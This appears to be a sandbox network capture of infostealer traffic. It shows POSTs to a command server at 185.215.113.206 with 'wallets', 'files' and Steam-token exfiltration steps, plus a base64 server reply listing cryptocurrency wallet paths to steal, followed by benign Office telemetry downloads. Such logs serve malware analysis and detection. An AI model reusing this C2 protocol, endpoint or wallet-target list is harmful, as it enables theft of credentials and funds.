Oct 30, 2024 23:11:58.781039953 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAKKECAEGCAKFIIIDH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 4b 4b 45 43 41 45 47 43 41 4b 46 49 49 49 44 48 2d 2d 0d 0a Data Ascii: ------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------IDBAKKECAEGCAKFIIIDHContent-Disposition: form-data; name="message"wallets------IDBAKKECAEGCAKFIIIDH--
Oct 30, 2024 23:11:59.067873955 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 30, 2024 23:11:59.070525885 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKFBFCGIEHIDGCFBFB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 46 42 46 43 47 49 45 48 49 44 47 43 46 42 46 42 2d 2d 0d 0a Data Ascii: ------GCBKFBFCGIEHIDGCFBFBContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------GCBKFBFCGIEHIDGCFBFBContent-Disposition: form-data; name="message"files------GCBKFBFCGIEHIDGCFBFB--
Oct 30, 2024 23:11:59.357122898 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 23:11:59.382307053 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="file"------AAKEGIJEHJDGDHJKJKKJ--
Oct 30, 2024 23:12:00.163352966 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 23:12:00.221940041 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHCAECGIEBKJKEBGDHDA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 41 45 43 47 49 45 42 4b 4a 4b 45 42 47 44 48 44 41 2d 2d 0d 0a Data Ascii: ------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------DHCAECGIEBKJKEBGDHDAContent-Disposition: form-data; name="message"ybncbhylepme------DHCAECGIEBKJKEBGDHDA--
Oct 30, 2024 23:12:00.508826971 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:12:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 23:12:00.510488987 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFIIIJJKJJKEBGIDGC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 61 61 37 35 34 38 61 65 32 32 39 38 36 32 39 62 32 32 39 33 33 62 30 62 30 35 35 66 35 37 35 61 30 36 65 61 32 61 31 38 36 31 64 62 62 63 36 38 32 62 32 63 34 62 38 62 61 64 37 30 30 62 61 34 38 34 63 61 38 66 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 2d 2d 0d 0a Data Ascii: ------IJKFIIIJJKJJKEBGIDGCContent-Disposition: form-data; name="token"eaa7548ae2298629b22933b0b055f575a06ea2a1861dbbc682b2c4b8bad700ba484ca8f8------IJKFIIIJJKJJKEBGIDGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJKFIIIJJKJJKEBGIDGC--
Oct 30, 2024 23:12:01.286206961 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:12:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:19 UTC	561	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221118Z-16849878b785jrf8dn0d2rczaw00000009p0000000012nfb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:19 UTC	15823	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-30 22:11:19 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <S T="1" F="0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L>
2024-10-30 22:11:19 UTC	16384	IN	Data Raw: 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d Data Ascii: <S T="3" /> </T> <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-
2024-10-30 22:11:19 UTC	16384	IN	Data Raw: 6e 74 73 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a Data Ascii: nts" /> </C> <C T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" />
2024-10-30 22:11:19 UTC	16384	IN	Data Raw: 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: </S> <C T="U32" I="0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32"
2024-10-30 22:11:19 UTC	16384	IN	Data Raw: 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 Data Ascii: _Count"> <C> <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S
2024-10-30 22:11:19 UTC	16384	IN	Data Raw: 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 Data Ascii: <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3"
2024-10-30 22:11:19 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 Data Ascii: </L> <R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false
2024-10-30 22:11:20 UTC	16384	IN	Data Raw: 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: T="B" /> </R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" />
